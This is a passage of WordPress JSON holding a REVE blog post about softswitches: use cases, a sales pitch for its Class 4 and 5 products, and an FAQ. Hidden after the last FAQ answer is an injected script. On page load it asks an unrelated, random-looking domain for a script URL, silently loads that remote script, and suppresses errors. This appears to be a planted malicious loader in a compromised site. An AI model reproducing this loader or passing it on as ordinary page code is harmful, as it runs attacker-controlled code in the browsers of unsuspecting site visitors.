monitor resource usage (CPU, memory, bandwidth).\u00a0<\/span><\/li>\n<\/ol>\n<h2><span class=\"ez-toc-section\" id=\"Softswitch_Use_Cases\"><\/span>Softswitch Use Cases<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Software switches find their usefulness in multiple telecom environments to enable cost-effective, flexible, and scalable voice services. Let&#8217;s have a look:\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"VoIP_Service_Providers\"><\/span>VoIP Service Providers<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Service providers offering VoIP services leverage softswitches to manage and route a high volume of voice traffic over the Internet to different global destinations.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Telecom_Carriers\"><\/span>Telecom Carriers<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Carriers often exchange voice traffic with each other globally. By deploying class 4 softswitches, they can manage interconnect traffic, ensuring load balancing and that their calls are routed optimally and billed accurately.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Internet_Service_Providers\"><\/span>Internet Service Providers<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">ISPs and MSPs often bundle VoIP services with broadband, making use of softswitches, expanding their service portfolio, and reducing churn by offering complete communication bundles.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span>Conclusion<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">When a VoIP call happens successfully, we know that it&#8217;s a softswitch that makes a major part of making it possible. For telecom carriers and VoIP providers, it is important to understand the working of a softswitch and choose the one that best fits their requirements.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Explore_REVE_Softswitch_Solutions\"><\/span>Explore REVE Softswitch Solutions<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>If you have questions in mind and are still in the process of choosing the right softswitch, we at REVE can help you make the right decision. Our experts, with years of consultation experience, can guide you through your options, assess your technical and business requirements, and recommend the ideal solution for your specific use case. We also <a href=\"https:\/\/www.revesoft.com\/demo-request\" target=\"_blank\" rel=\"noopener\">offer free demos<\/a> and trial access so you can experience our Class 4 and Class 5 Softswitch platforms firsthand. <a class=\"cursor-pointer\" target=\"_new\" rel=\"noopener\" data-start=\"647\" data-end=\"704\">Talk to an Expert<\/a> to get started today.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Frequently_Asked_Questions\"><\/span>Frequently Asked Questions<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-6155 \" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/FAQs.jpg\" alt=\"FAQs\" width=\"703\" height=\"412\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/FAQs.jpg 800w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/FAQs-300x176.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2025\/07\/FAQs-768x450.jpg 768w\" sizes=\"auto, (max-width: 703px) 100vw, 703px\" \/><\/p>\n<h3><span class=\"ez-toc-section\" id=\"How_are_Class_4_and_Class_5_softswitch_different\"><\/span><span style=\"font-weight: 400;\">How are Class 4 and Class 5 softswitch different?\u00a0<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Class 4 softswitches are designed for routing long-distance, high-volume VoIP traffic that typically flows between carriers or providers. On the other hand, class 5 softswitches are meant to serve end users, handling local calls and offering advanced calling features like IVR, voicemail, call forwarding, etc.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Is_it_possible_for_a_softswitch_to_work_without_SIP\"><\/span><span style=\"font-weight: 400;\">Is it possible for a softswitch to work without SIP?\u00a0<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">SIP is the modern standard for VoIP signaling and is a widely supported protocol in VoIP ecosystems today. However, softswitches can work with older protocols like H.323, <a href=\"https:\/\/www.revesoft.com\/blog\/sms-platform\/what-is-signaling-system-7\/\">SS7<\/a>, etc<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Do_softswitches_support_video_calls\"><\/span><span style=\"font-weight: 400;\">Do softswitches support video calls?\u00a0<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Yes, modern softswitches support video calls, especially if they are built on SIP with support for video codecs.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Can_softswitches_connect_calls_between_VoIP_and_PSTN_Networks\"><\/span><span style=\"font-weight: 400;\">Can softswitches connect calls between VoIP and PSTN Networks?\u00a0<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Yes, softswitches connect VoIP to PSTN via media gateways that handle signaling translation and media conversion. This enables users on VoIP apps to call traditional landlines, or vice versa.\u00a0\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"What_business_sizes_can_use_softswitches\"><\/span><span style=\"font-weight: 400;\">What business sizes can use softswitches?\u00a0<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Softswitches are suitable for various businesses like startups, SMBs looking for hosted PBX solutions, enterprises managing multi-site communications, and carriers and wholesalers needing routing solutions.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"How_do_softswitches_ensure_call_quality_and_reliability\"><\/span><span style=\"font-weight: 400;\">How do softswitches ensure call quality and reliability?\u00a0<\/span><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Softswitches come with various features such as Least-Cost and Quality-Based routing, redundancy and failover, call quality monitoring, etc., that enhance the quality and reliability of the calls.\u00a0<\/span><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Once, there was a time when those bulky hardware switches ruled the entire telecom world. Today, those are a thing of the past. Operators and VoIP service providers around the world rely heavily on the modern version of hardware switches &#8211; the softswitches, which are much more efficient and flexible. If you are a provider [&hellip;]<\/p>\n","protected":false},"author":19,"featured_media":6166,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[78],"tags":[],"class_list":["post-6149","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-softswitch"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/6149","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=6149"}],"version-history":[{"count":12,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/6149\/revisions"}],"predecessor-version":[{"id":6800,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/6149\/revisions\/6800"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/6166"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=6149"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=6149"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=6149"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}